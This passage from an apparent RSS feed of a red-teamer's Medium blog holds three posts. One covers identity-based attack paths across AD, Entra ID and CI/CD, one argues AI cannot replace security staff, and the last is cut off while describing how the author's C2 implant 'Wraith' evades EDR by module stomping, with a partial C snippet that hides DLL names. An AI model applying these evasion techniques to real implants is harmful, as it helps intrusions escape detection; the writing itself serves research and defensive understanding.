tried, early on, to collapse them. The result was a system that appeared to work in the standalone case and silently corrupted the host process in the injection case. The explicit sentinel check, ugly as it looks as a -1 magic value, is the cleaner engineering choice: the loader communicates its context, and the agent responds to it, without either side guessing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7eca41e4f71c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Attack Was the Design]]></title>
            <link>https://medium.com/@q3alique/the-attack-was-the-design-5428bc88065d?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/5428bc88065d</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Sat, 05 Sep 2026 16:53:29 GMT</pubDate>
            <atom:updated>2026-09-07T12:48:50.068Z</atom:updated>
            <content:encoded><![CDATA[<p><em>In modern enterprise environments, the most significant paths from low privilege to high privilege are not bugs waiting to be fixed. They are the ordinary product of thousands of reasonable decisions that nobody ever looked at as a whole.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*swN45TpsUb_US6dk4KFHrA.jpeg" /></figure><p>There is a moment that most experienced red teamers eventually recognize. You have a shell on a corporate workstation. It is stable, local admin is confirmed, the EDR is not firing. In a different era this would feel like the beginning of something. Now it often feels like the beginning of nothing.</p><p>The machine is domain-joined. There are cached credentials, some browser session data, maybe a VPN client. But the things that actually matter, the source code, the customer records, the controls that deploy to production, none of them care about this machine. They care about identities. And the identity that lives on this workstation is not the interesting one.</p><p>This is the situation that defines modern red team work. Not the absence of vulnerabilities. The absence of relevance at the endpoint.</p><h3>What the shell gives you</h3><p>For a long time the answer to that question was obvious. A shell gave you a position from which to do everything else. Escalate privileges, dump credentials, move laterally, find the next machine, repeat until you arrived somewhere that mattered. The process was linear, the tooling was well understood, and the destination was usually the domain controller.</p><p>That model was not wrong. It was accurate for the environments where it was developed. But those environments have changed considerably, and the model has not always followed.</p><p>A modern enterprise is not a flat Active Directory domain with some servers attached to it. It is an Active Directory environment connected to Entra ID, connected to Microsoft 365, connected to Azure, connected to GitHub, connected to dozens of SaaS applications, all wired together through OAuth grants and API tokens and service principals and managed identities and access policies. The workstation you just compromised is one small piece of a much larger picture. Depending on the user and the configuration, it may have no connection whatsoever to anything that leads somewhere meaningful.</p><p>This is not a marginal shift. It fundamentally changes what a foothold is worth and what the first useful question of an engagement actually is.</p><h3>The credential that cannot be stolen</h3><p>The endpoint argument actually runs deeper than relevance. Even when a workstation is directly relevant to the objective, getting something useful out of it has become considerably harder than it used to be. There are two separate reasons the shell is worth less than it once was. The first is environmental. The second is defensive, and it has been building quietly for years.</p><p>The traditional lateral movement playbook assumed that a compromised machine was a credential store. LSASS held the material. Mimikatz, or some derivative technique, would retrieve NTLM hashes and Kerberos tickets from memory, and those credentials would authenticate as the compromised user on other systems across the network. The entire technique depended on the machine holding something extractable and reusable.</p><p>Three overlapping defenses are dismantling that assumption, and they compound each other.</p><p><strong>Credential Guard</strong>, when properly deployed with Virtualization-Based Security, moves the protected material somewhere the attacker cannot reach. The credentials live inside a separate protected environment that runs in isolation from the main OS. Even with full administrator access, or with kernel-level code execution through a driver exploit, you cannot read from that space. The NTLM hashes and Kerberos tickets that memory-dumping tools expect to find in LSASS simply are not accessible from where the attacker stands.</p><p><strong>LSASS running as a Protected Process Light</strong> addresses the access problem from a different angle. The process cannot be opened for memory reading by processes that lack a specific signing certificate. Bypassing it requires additional capabilities, typically a signed kernel driver, which raises both the technical bar and the noise floor considerably. It is not an insurmountable protection, but it transforms a quiet operation into something that requires preparation and leaves more traces.</p><p><strong>Passwordless authentication</strong>, at its most complete, removes the target entirely. When a user authenticates through Windows Hello for Business or a hardware security key, the credential is a private key bound to that specific device through the TPM. The user unlocks access with a PIN or biometric, but that PIN never leaves the device and is never used as a password on the network. There is no NTLM hash derived from it, because NTLM was never involved. There is no password to spray or replay. The attack surface that credential dumping was built to exploit simply does not exist in that configuration.</p><p>The practical effect on a red team operation is significant. A workstation compromised under all three conditions may offer code execution and very little else. The user’s active session tokens are still present, and those are worth targeting through different means. But the classic chain, compromise machine, extract credentials, authenticate as user elsewhere, is broken at the extraction step before it can begin.</p><p>This is worth stating carefully, because it does not mean the endpoint is worthless. It means the value the endpoint offers has shifted. What remains accessible is session material and authorization context: the current user’s active cloud tokens, browser sessions, OAuth grants, the credentials used by local applications to reach external services. These are not nothing. But recovering them requires different techniques, and more importantly, they lead somewhere different. They lead to identity and authorization rather than to credential reuse across machines.</p><p>The two forces point in the same direction. The environment changed so that the things worth reaching live in cloud and identity systems, not on the endpoint. The defensive stack changed so that even the traditional output of endpoint compromise is substantially harder to obtain. Neither development alone would be enough to redefine the discipline. Together they make the shift toward identity-first not just preferable but practically necessary.</p><h3>Reading the “map”</h3><p>What replaces the machine as the main target is the identity. Not the user account in isolation, but the web of things that identity connects to. Which applications can it reach. What permissions does it carry. What can it authorize. What other identities or services trust it implicitly. The question stops being “what can I run on this machine?” and becomes “where can this account go, and what can it do when it gets there?”</p><p>That shift requires a different way of reading an environment. Instead of mapping the network, you are mapping relationships: which accounts have access to which applications, which applications can act on behalf of users, which services trust which other services, which permissions were granted between systems that were originally meant to be managed separately. Network diagrams and Active Directory documentation exist. Cloud architecture charts sometimes exist. But the full picture of which identities can reach which resources through which intermediaries rarely gets documented anywhere. It lives as configuration scattered across dozens of systems, none of which shows the complete picture on its own.</p><p>When you start reading that picture as an attacker, the paths from low privilege to high privilege look different from what the classic training prepares you for. They are not chains of exploits. They are chains of trust.</p><blockquote>A user has access to an application. That application has an OAuth registration with permissions to read email across the tenant. The permissions were granted three years ago and nobody has reviewed them since. The application is no longer actively maintained. That is a path. Nobody designed it as a path.</blockquote><p>Each step made sense in isolation at the time it was configured. The chain exists because the chain was never visible as a chain.</p><h3>Authorization is not authentication</h3><p>One of the most practically useful distinctions in modern red team work is between authentication and authorization, not as a conceptual difference everyone already knows about, but as an operational focus. The classic attacks were almost entirely authentication-focused. Steal the password. Crack the hash. Forge the ticket. Capture the challenge response. The target was always the credential that proved you were who you claimed to be.</p><p>Authorization attacks work differently. You are not trying to prove you are someone else. You are trying to get something to agree to act on your behalf, or to find something that has already agreed to act for entities you can influence.</p><p>OAuth consent-based attacks are the clearest example. The target is not a password. The target is a permission grant. If you can get a user to authorize a malicious application, that application receives a token representing the user’s delegated permissions. MFA was satisfied. The identity provider issued the token legitimately. Nothing in the authentication chain was broken. What was broken was the user’s judgment about what they were consenting to, and the organization’s failure to restrict who can consent to what.</p><p>The more interesting version does not even require social engineering. It requires finding applications that have already been granted excessive permissions and finding ways to leverage those applications as entry points. In many tenants, reviewing the full list of OAuth consents reveals applications with access far beyond what their stated purpose would require. Some of those applications have client secrets that were configured years ago and never rotated. Some have ownership assigned in ways that allow modification without tenant admin privileges.</p><p>The attack surface here is not a vulnerability in OAuth. It is the ordinary accumulation of decisions that organizations make constantly and almost never review.</p><h3>Lateral movement without a network</h3><p>The classic conception of lateral movement involves a network. You are on one machine, you move to another machine, you use credentials or an exploit to authenticate and execute. The path has a spatial metaphor. You are traveling from one place to another place that exists on a network you can reach.</p><p>In environments built substantially around SaaS and cloud services, this metaphor stops working. The destinations are services that expose APIs. Moving between them does not require network-level access to the previous one. It requires presenting a credential or token the service accepts, and those tokens flow through identity providers, not network routes.</p><p>A compromised account on a code hosting platform does not give you network access to the issue tracker. But if the same identity has access to both, and the code platform has an integration that can trigger actions in the pipeline, and the pipeline has an identity with roles on cloud infrastructure, that chain from source control to production runs entirely through trust relationships. No lateral movement in the traditional sense. No pivot through a firewall. The path is a series of API calls, each one legitimate, each one using a credential that was explicitly authorized to exist.</p><p>CI/CD pipelines concentrate this risk in a specific way. A pipeline has to perform real actions: check out code, build artifacts, deploy to infrastructure. To do those things it needs an identity and that identity needs real permissions. Those permissions are often broader than strictly necessary because the person who configured them was optimizing for reliability, not for the possibility that someone would compromise the upstream repository. If you can modify what runs in that pipeline, or compromise the identity the pipeline authenticates with, you have code execution in a context that has legitimate, pre-granted access to production systems. You arrived there not by attacking production, but by working upstream until the pipeline’s own normal behavior became the delivery mechanism.</p><h3>The identities nobody maintains</h3><p>Human users have a lifecycle. They are hired, they change roles, they leave. There is usually at least some process around what happens to their accounts at each transition. It is imperfect, but it exists because people notice when colleagues leave, and offboarding checklists get created because someone was burned by skipping that step.</p><p>Service identities work differently. Once created, they keep running until someone deliberately shuts them down. There is no annual access review, no manager flagging them for cleanup, no automatic process that asks whether the permissions granted three years ago still make sense. The application they were built to support might have been retired. The team that configured them might not exist anymore. The scope of what they can access might have grown several times over as new requirements were added. None of that triggers anything.</p><p>Over time these accounts quietly collect permissions and credentials. Every time something needed access to something else, the answer was to extend what the service account could do. Rotating credentials for non-human accounts is painful and easy to defer, so often it simply does not happen. And because a service account making API calls overnight is normal behavior, unexpected activity from one attracts far less scrutiny than the same pattern from a user account would.</p><p>From an offensive perspective, a workload identity is attractive for a specific reason: it often holds more permissions than any individual human user, because it was given whatever it needed to function and nobody has looked at whether that is still appropriate. Finding a workload identity with accumulated excessive permissions and a credential that can be obtained through a misconfigured pipeline, a leaked secret, or an overly permissive role assignment, is one of the most consistently productive findings a red team can make in a modern environment.</p><h3>Where two planes meet</h3><p>The environment that concentrates most of these risks into a single seam is the hybrid deployment. Active Directory and cloud identity coexist in a large portion of enterprises, and that coexistence is rarely clean. The two identity systems are connected through synchronization and federation, which means decisions made in one affect the other in ways that are not always obvious to the teams managing each side.</p><p>When directory synchronization mirrors objects from on-premises Active Directory into Entra ID, a domain user becomes a cloud user too. The identity is shared across both planes. If you can compromise on-premises systems in ways that influence synchronized objects, modify federation configuration, or affect the credentials of the synchronization service itself, you gain leverage in the cloud environment simultaneously, not because you attacked the cloud, but because you found something the two systems both trusted.</p><p>The same logic applies in the other direction. Cloud resources, when misconfigured, can provide paths back toward on-premises infrastructure through shared identities and credentials rather than through network exploitation. An attacker does not need to pierce a firewall if there is an identity that is trusted in both environments and can be influenced from whichever side is easier to reach.</p><p>The important point about hybrid attacks is that neither the on-premises component nor the cloud component is the real target. The seam between them is. The place where two identity systems share trust is where configurations are most likely to contain assumptions that do not hold under adversarial conditions. Reasonable decisions made separately in two administrative worlds combine to create a surface that neither world fully understands or owns.</p><h3>What the models will not fix</h3><p>The argument for this surface becoming more significant is not only about how enterprise environments have evolved. It is also about where defensive tooling is heading, and what it is structurally suited to address.</p><p>AI-assisted development is already affecting the density of exploitable code vulnerabilities in measurable ways. Models integrated into editors suggest more secure patterns as code is written. Models integrated into review pipelines catch common classes of issues before they reach production. The long-term trajectory for traditional CVEs in well-resourced software is probably downward, and this is a genuine improvement worth acknowledging.</p><p>The problem is that this improvement does not distribute evenly across the attack surface.</p><p>A SQL injection has a ground truth. You can point to a specific piece of code and say: this is wrong. The mistake is isolable, the fix is deterministic, and a model trained on millions of examples of the pattern can detect it reliably. This is where AI is strong, and where its improvements will compound quickly. Vulnerability classes with clear right answers in bounded contexts are exactly the kind of problem where models outperform human reviewers at scale.</p><p>A trust relationship between a workload identity and a production environment does not have a ground truth in the same sense. The relationship was created deliberately. It solved a real problem at the time it was configured. It may be entirely appropriate in isolation. Whether it is a problem depends on a question that cannot be answered by looking at the configuration item alone: does this relationship, in combination with a dozen other individually reasonable configurations distributed across a dozen different systems, create a path that an attacker with limited initial access could trace from one end to the other?</p><p>Answering that requires a complete picture of the connected graph, an understanding of what the attacker can currently control, and a judgment about what constitutes a meaningful target in this organization’s specific context. None of that information lives in any single system. The AI tool analyzing the permission grant cannot see the OAuth application connected upstream of it, or the underprivileged user who can reach that application, or the fact that the application’s client secret has not been rotated since it was created.</p><p>This is a fundamentally different kind of problem. The question is not “is this configuration correct?” but “does this combination of individually correct configurations create a path that should not exist?” That second question spans multiple platforms, multiple teams, and years of decisions made by people who were not aware of each other’s decisions. It is harder to automate, harder to scan, and harder to measure against a policy than a line of code with a well-known bad pattern.</p><p>Security platforms are starting to work on this. Cloud security tools with AI-assisted attack path analysis can trace some of these chains. But they face a real limitation: the full picture of what connects to what spans Active Directory, Entra ID, cloud providers, SaaS applications, source control, and CI/CD systems, and no single tool can see all of it clearly. Even when a large part of the picture is mapped, deciding which paths were intentional and which just happened over time requires context about the organization that cannot be read from configuration data alone.</p><p>The result is an imbalance that matters. As AI reduces the number of exploitable code vulnerabilities, the identity and access misconfiguration side of the attack surface grows in relative importance. An organization that eliminates almost every CVE through AI-assisted development will still have access relationships built up over years of incremental grants. None of those grants are individually wrong. All of them were reasonable at the time they were made. Some of them, when you connect them into a chain, lead directly to something critical. The models will not find that chain on their own, because no single piece of it is a mistake. The problem only exists when you look at all of it together.</p><h3>What you are actually looking for</h3><p>When the primary object changes from machine to identity, the first question of an engagement changes too. It is no longer “where can I get a foothold?” It is closer to “how are the accounts and services in this environment connected to each other, and where do those connections lead from a low-privilege starting point?”</p><p>That is harder to answer. A network diagram is relatively easy to read. A complete map of who can access what, which applications act on behalf of which users, which service accounts have roles on which cloud resources, and how all of that connects across Active Directory, Entra ID, and every SaaS and pipeline integration in between, is not. That kind of map rarely exists anywhere in one place. Building it from what is available is part of the real work of a modern engagement.</p><p>The tooling reflects this shift. Mapping Active Directory relationships, enumerating Entra ID, reviewing cloud role assignments, auditing application consent grants, checking pipeline credentials and managed identity configurations. The output is a picture of connections, not a list of CVEs. And what that picture shows, consistently, is that the most serious paths in most environments were not caused by anyone making a security mistake. They were caused by reasonable people solving real problems, each one working without seeing what the others had already configured.</p><p>Nobody set out to build a route from a low-privilege user to a critical resource with no vulnerability needed. Dozens of people decided that this application needed access to that data, that this service account needed permission to run that process, that granting the role was the fastest way to make something work. The access relationships that result from those decisions contain paths. Usually more than one.</p><p>The red team’s job, increasingly, is to find those paths. Not to find a flaw in any one system. To understand how an organization’s access model fits together, often without anyone having seen the full picture before, and trace the route from whatever you have to wherever the objective is.</p><p>The practitioners who will stand out over the next few years are not necessarily the ones who know the most bypasses or the most advanced exploitation techniques, though those skills still matter and are worth keeping sharp. They are the ones who can look at a complex environment and quickly understand which accounts trust which services, which of those trust relationships were set up without full visibility into what they connected, and what becomes possible for someone who starts with almost nothing but follows the connections patiently.</p><p>The path to the objective was already there before the engagement started. Someone built it. They just had no idea that was what they were doing. And right now, no automated system is reliably going to find it before someone decides to walk it.</p><h3>Conclusion</h3><p>The map a red team builds to find these paths is the same map a security team should have built first. Vulnerability scanning, patching, and code review get a lot of attention and investment. Maintaining a clear, current picture of which accounts can reach which systems, which applications have been granted access to what, and where those chains of access connect things that probably should not be connected, gets far less. Closing that gap does not require finding a new class of attack or deploying a new product. It requires asking a straightforward question: if someone started with the least privileged account in this environment and followed every access relationship that has been configured, where would they end up? The answer is often surprising. And it is often what matters most.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5428bc88065d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The AI That Can’t See the Monster in the Room]]></title>
            <link>https://medium.com/@q3alique/the-ai-that-cant-see-the-monster-in-the-room-30f58fd40dd6?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/30f58fd40dd6</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[careers]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Sun, 05 Jul 2026 16:07:59 GMT</pubDate>
            <atom:updated>2026-07-05T16:07:59.931Z</atom:updated>
            <content:encoded><![CDATA[<h4>Why replacing human cybersecurity professionals with AI is a fundamentally flawed idea, and what the future of the profession actually looks like</h4><blockquote>Scene , 2027, a fictional Fortune 500 company</blockquote><blockquote>The security operations center is quiet at 3:14 AM. It has been quiet for months, ever since the company replaced its overnight human analysts with an autonomous AI system. The platform is state of the art: it processes forty thousand security events per second, correlates anomalies across nineteen cloud environments, and has a confirmed false-positive rate of 0.003%.</blockquote><blockquote>What it does not know, what it cannot know, is that for the past six weeks a nation-state threat actor has been living inside the network. They are not using malware. They are not triggering signatures. They are logging in as the head of procurement, using her legitimate credentials, at times that look slightly unusual but well within the statistical noise the AI has learned to ignore.</blockquote><blockquote>The AI sees 99.97% normal. The exfiltration of twelve years of R&amp;D data completes at 3:41 AM. The AI logs a quiet night.</blockquote><p>This is fiction. But the failure mode is real, it is mathematically inevitable, and it follows directly from what AI actually is. To understand why, we need to start at the beginning.</p><h3>What AI actually is, and what it is not</h3><p>There is a widespread misconception that large AI models “know” things the way humans do, that they hold facts, reason from principles, and flag contradictions. They do not. At their core, language models are extraordinarily sophisticated statistical engines. They learn from massive datasets of human-generated text and code, and what they learn is not truth, it is pattern. Specifically, they learn which token is most likely to follow which other token, in which context.</p><p>When you ask an AI a question, it does not retrieve an answer from a database of verified facts. It calculates, from billions of learned associations, what a plausible answer looks like. Most of the time this produces something accurate, because the patterns in its training data reflect reality. But when it encounters a question that sits outside the statistical territory of its training data, it does not recognize the gap. It keeps calculating. It produces a confident-sounding answer that is, structurally, a fabrication: words arranged according to learned patterns rather than grounded in fact.</p><p>This is not a bug that will be fixed in the next version. It is a property of the architecture itself.</p><blockquote>“An AI does not understand the concept of truth. It understands likelihood. When there is no data to anchor it to reality, it bridges the gap with statistics.”</blockquote><p>There is a second property worth understanding: AI models can only interpolate. They are extraordinarily good at recognizing and extending patterns they have seen before, including patterns they have seen in disguise or at an angle. But they cannot invent a genuinely new conceptual category. That requires the kind of lateral, adversarial, often irrational creativity that is distinctly human.</p><p>Keep both of these properties in mind. They explain everything that follows.</p><h3>The cybersecurity problem that AI cannot solve</h3><p>Cybersecurity has a useful way of categorizing threats by how much we know about them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*ls8lDzRggsN2HyUR1sjamw.png" /></figure><p>The first two categories are, increasingly, solved problems. AI can be trained on millions of malware samples, attack logs, and network traces. It can spot a known ransomware variant even when the code has been partially rewritten. It can correlate subtle signals across enormous datasets faster than any human team. For the known threat landscape, AI is genuinely transformative.</p><p>The third category is where the architecture breaks down, and it is precisely where the most dangerous adversaries operate.</p><h3>Advanced Persistent Threats and the edge of the training data</h3><p>Nation-state threat actors, APTs, are not running commodity malware. They have time, resources, and strategic patience. Their most sophisticated operations specifically avoid known techniques precisely because they know defenders look for them. They research their targets for months before acting. They use legitimate tools already present on the network, a technique called “living off the land”, so their activity looks indistinguishable from normal administrative work. And when they develop genuinely new capabilities, those capabilities have never appeared in any training dataset, anywhere.</p><p>For an AI system, this is epistemically invisible. The system is not wrong, it correctly assesses that the behavior it is observing is statistically similar to normal behavior. It is not misconfigured or fooled. It simply has no basis for recognizing what it has never seen.</p><p><strong>Worse</strong>: an AI system tuned to maximize alert precision will confidently classify this activity as benign. No human ever sees the alert, because the alert is never generated.</p><p>The asymmetry here is critical. Defenders need AI to catch everything. Attackers only need AI to miss once. A sophisticated adversary does not need to invent something completely unprecedented, they only need to operate slightly outside the model’s confidence boundary. That is a much lower bar.</p><p>There is also a second failure mode worth naming: false confidence. An AI system that processes millions of events and produces a clean dashboard creates an organizational illusion of safety. Human analysts, relieved of oversight responsibility, stop looking. The question “what might we be missing?” stops being asked. This is arguably more dangerous than the technical blind spot itself.</p><h3>The same logic applies on the offensive side</h3><p>Penetration testing , the practice of attacking systems with authorization to find vulnerabilities before adversaries do, faces an identical problem from the other direction.</p><p>AI-based offensive security tools have become genuinely powerful. They can enumerate attack surfaces, correlate known vulnerability databases, fuzz inputs systematically, and identify misconfigurations that a junior analyst might spend days finding manually. Some advanced reasoning models can even analyze unfamiliar code and deduce new exploitation paths by tracing how data moves through memory, finding zero-day vulnerabilities not because they have seen the attack before, but because they understand the underlying logic well enough to identify contradictions.</p><p><strong>This is impressive. It is also incomplete</strong>.</p><p>A real-world penetration test is not a technical exercise conducted in isolation. It is a simulation of an adversary who is creative, persistent, and deeply human in their thinking. The most impactful findings in complex engagements rarely come from finding a single critical vulnerability. They come from chaining together three or four individually low-risk observations into a scenario that the system’s designers never considered, because no individual piece looked dangerous in isolation, and an AI evaluating each piece on its own statistical merits would rate each one as acceptable.</p><p>They also come from recognizing that security is not a purely technical domain. A skilled human tester might notice that a company’s customer support team is unusually forthcoming over the phone. That is not a finding any scanner will flag. But it might be the pivot point that makes the entire assessment.</p><h3>What this means for the profession</h3><p>The honest picture of where AI is taking cybersecurity is neither catastrophic nor naively optimistic. It is a structural shift, and understanding it clearly is important for anyone building a career in the field.</p><h3>What is disappearing</h3><p>The “commodity” tier of both offensive and defensive security is being automated. This includes: running vulnerability scanners and transcribing results into reports, monitoring dashboards for known alert signatures, performing routine reconnaissance on an engagement’s scope, cross-referencing CVE databases, log analysis for well-documented attack patterns.</p><p>These are not unimportant tasks, they are genuinely necessary. But they do not require human judgment. An AI performs them faster, more consistently, and at a fraction of the cost. Roles whose primary function was executing these tasks will contract significantly over the next decade.</p><p>This also applies to traditional automated tooling. Legacy vulnerability scanners that ping a network, check a signature database, and generate a 200-page PDF report are not being replaced by better scanners. They are being made irrelevant by continuous, AI-driven assessment that runs around the clock without human intervention. The report-as-a-product model is under serious pressure.</p><h3>What is becoming more valuable</h3><p>As the floor of the profession gets automated, the ceiling rises, and the gap between the two widens. The work that remains after automation is not easier work. It is harder, more ambiguous, and more consequential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*Y-rZzPcYNSpFRL0my2Y6_g.png" /></figure><p>The human skills that become irreplaceable are precisely the ones that AI is architecturally weakest at: lateral thinking, contextual intuition, adversarial creativity, and the ability to reason about an organization as a sociotechnical system rather than a collection of technical components.</p><h3>The natural evolution: the AI-augmented practitioner</h3><p>The most useful frame for thinking about this is not replacement but reallocation. Consider how a senior penetration tester currently spends a two-week engagement. Under a traditional model, the first several days are consumed by tasks that are necessary but not differentiating: scoping validation, network enumeration, automated scanning, initial vulnerability correlation. The genuinely skilled analysis, the creative exploitation, the complex chain-building, the adversarial narrative, happens in whatever time remains.</p><p>With capable AI tooling, that equation inverts. Reconnaissance that previously took days completes in minutes. Vulnerability correlation happens in the background. Report drafts are generated automatically from structured findings. The practitioner spends the majority of the engagement doing the work that actually requires them to be there.</p><blockquote>“The question stops being ‘what vulnerabilities exist?’ and starts being ‘what does a sophisticated adversary actually do with them?’”</blockquote><p>This is not hypothetical. Security firms operating at the high end of the market are already restructuring engagements this way. The billable value has shifted from hours spent scanning to the quality of adversarial thinking applied once the obvious findings are cleared.</p><p>For practitioners building careers now, the implication is direct: the skills worth developing are not the ones that make you good at running tools. They are the skills that make you effective when the tools have run out of things to say. Deep knowledge of how systems fail at an architectural level. The ability to think like an adversary with patience and creativity. Strong communication skills , because explaining a complex risk to a non-technical executive is still a human job. And increasingly, the ability to understand and critically evaluate what AI tools are telling you, including when they are likely to be wrong.</p><h3>A word on the counterargument</h3><p>The obvious pushback to everything above is: AI is improving rapidly. Reasoning models are finding real zero-days. Autonomous agents are completing multi-step offensive tasks. Is the human advantage just a temporary gap?</p><p>It is worth taking this seriously. AI capabilities in security are advancing faster than most practitioners expected, and some tasks that seemed safely human two years ago are now partially automated. The trend is real.</p><p>But there is a structural reason to be skeptical that AI closes the gap entirely, and it comes back to the asymmetry mentioned earlier. The more comprehensive AI defensive coverage becomes, the more pressure it places on attackers to find approaches that fall outside it. Sophisticated adversaries adapt. Nation-state actors already structure their operations specifically to evade detection, that is not a side effect of their tradecraft, it is a design goal. As AI coverage expands into known threat territory, the competitive advantage for attackers shifts further toward genuinely novel techniques: exactly the territory where AI is weakest.</p><p>The game is not static. The more AI plays it, the more it rewards the kind of creativity that AI cannot replicate.</p><h3>Conclusion</h3><p>The story from the opening of this piece, the AI that logs a quiet night while twelve years of R&amp;D disappear, is not a story about technology failing. It is a story about a category error: using a pattern-matching system to solve a problem that requires adversarial imagination.</p><p>AI will transform cybersecurity profoundly. It already is. The work of detecting known threats, assessing known vulnerabilities, and generating routine reporting will be largely automated within this decade. That is not a small thing, it is the majority of what currently fills the time of the median security practitioner.</p><p>What remains, what AI cannot do, is precisely the work that matters most when the adversary is sophisticated, patient, and creative. That work requires humans. Not humans as a fallback when the AI fails, but humans as the primary cognitive resource, with AI as the force multiplier that removes everything else from their plate.</p><p>The practitioners who thrive in this environment will not be the ones who ran the most tools. They will be the ones who asked the best questions, including the question the AI would never think to ask: <em>what am I not seeing?</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30f58fd40dd6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blending In: Why “Encrypt Everything” Makes You More Visible (Part 1)]]></title>
            <link>https://medium.com/@q3alique/blending-in-why-encrypt-everything-makes-you-more-visible-ae88ea420529?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae88ea420529</guid>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[evasion]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Sun, 28 Jun 2026 17:22:54 GMT</pubDate>
            <atom:updated>2026-09-25T18:44:08.787Z</atom:updated>
            <content:encoded><![CDATA[<p>A few months ago I set out to build my own C2 framework , <strong>Lethe</strong>, as a personal research project. My goal was not to reinvent the wheel but to understand, from first principles, how modern command-and-control implants work and where they fail.</p><p>The deeper I went, the more one question kept surfacing: <em>why do implants get caught?</em> Not the obvious reasons , bad OPSEC, burned infrastructure, noisy lateral movement, but the more fundamental question: why does a piece of code sitting in memory get detected even when no network activity is happening, even when no suspicious API has been called, even when the binary never touched disk?</p><p>The answer forced me to challenge a piece of conventional wisdom that is repeated everywhere in offensive security:</p><blockquote>“Shellcode should live only in memory and should stay fully encrypted.”</blockquote><p>This sounds like solid advice. It feels right. But as I worked through the implementation of Wraith, Lethe’s Windows implant , I discovered that this model, taken to its logical extreme, produces something that looks nothing like a legitimate application and everything like exactly what it is.</p><p>This article is about that contradiction, and about the alternative: blending.</p><h3>The Traditional Model and Its Paradox</h3><p><strong>The classic approach</strong> to in-memory evasion has a clear mental model:</p><ol><li>Drop no files to disk.</li><li>Keep shellcode encrypted in memory at rest.</li><li>Decrypt only at execution time, immediately re-encrypt afterward.</li><li>Minimize your import table and API footprint.</li></ol><p>Each of these steps is individually reasonable. Together, however, they produce a memory profile that any modern EDR can identify at a glance.</p><p>Here is what that memory region looks like to a tool like pe-sieve, Moneta, or an EDR doing runtime memory introspection:</p><pre>BaseAddress:  0x00001F3A00000000<br>RegionSize:   0x18000<br>State:        MEM_COMMIT<br>Protect:      PAGE_EXECUTE_READ<br>Type:         MEM_PRIVATE          ← no backing file<br>Content:      [high entropy blob]  ← ~7.9 bits/byte</pre><p>The problem is that no legitimate Windows application looks like this.</p><p>When Windows loads a DLL, it does not allocate private heap memory and copy bytes into it. It creates a memory-mapped view of the file on disk , a SEC_IMAGE section. The kernel tracks the backing file. The content is predictable. The entropy is moderate. VirtualQuery returns MEM_IMAGE, not MEM_PRIVATE.</p><p>The “<strong>encrypt everything, stay in memory</strong>” model optimizes against forensic disk analysis , an attacker model from a different era. What it exposes instead is an anomaly in the <em>live memory profile</em> of a running process that modern EDRs scan continuously.</p><h3>What Legitimate Memory Looks Like</h3><p>To understand why blending works, you need to internalize what a security tool sees when it scans a healthy process.</p><p>Every loaded DLL in a Windows process has three properties that are simultaneously true:</p><p><strong>1. It is memory-mapped from a file.</strong><br>The region is backed by a file on disk. An EDR can open that file and compare its content to what is in memory.</p><p><strong>2. Its content matches the file on disk.</strong><br>The in-memory bytes of .text are (under normal circumstances) the same as the bytes in the corresponding section of the DLL file. Any discrepancy is a signal.</p><p><strong>3. Its entropy reflects real code.</strong><br>x86/x64 instruction sequences, string tables, and import data produce entropy in the 5.0–6.5 bits/byte range. Encrypted or random data produces entropy near 8.0 bits/byte.</p><p>A shellcode blob injected into private memory fails all three tests simultaneously. It is the digital equivalent of wearing a disguise while standing in a spotlight.</p><p>The blending approach asks a different question: <em>what if the malicious region passed all three tests?</em></p><h3>The Blending Approach</h3><p>Blending is not a single technique. It is a design philosophy: at every moment in the implant’s lifecycle, the memory it occupies should be indistinguishable from memory that belongs to a legitimate loaded module.</p><p>This creates a direct tension with traditional evasion:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*YqBPwJIeV_xAU6gqJMvTHg.png" /></figure><p>The blending model accepts a tradeoff: the implant code is briefly exposed <em>while it is executing</em>. In exchange, during the statistically dominant state , sleep, waiting for a task , it is invisible.</p><p>This is the model Wraith implements.</p><h3>Implementation: Module Stomping</h3><p>The foundation of Wraith’s blending is module stomping. Rather than allocating private memory for the implant, Wraith overwrites the .text section of a legitimate DLL that is already loaded in the process.</p><p>At startup, Wraith selects a decoy DLL , a system library that is already present, rarely inspected, and has a .text section large enough to hold the agent code:</p><pre>// Candidate decoy DLLs — names built on the stack,<br>// never stored as plaintext strings in .rodata<br>static const char candidates[][20] = {<br>    {&#39;c&#39;,&#39;l&#39;,&#39;b&#39;,&#39;c&#39;,&#39;a&#39;,&#39;t&#39;,&#39;q&#39;,&#39;.&#39;,&#39;d&#39;,&#39;l&#39;,&#39;l&#39;,0},<br>    {&#39;c&#39;,&#39;r&#39;,&#39;y&#39;,&#39;p&#39;,&#39;t&#39;,&#39;b&#39;,&#39;a&#39;,&#39;s&#39;,&#39;e&#39;,&#39;.&#39;,&#39;d&#39;,&#39;l&#39;,&#39;l&#39;,0},<br>    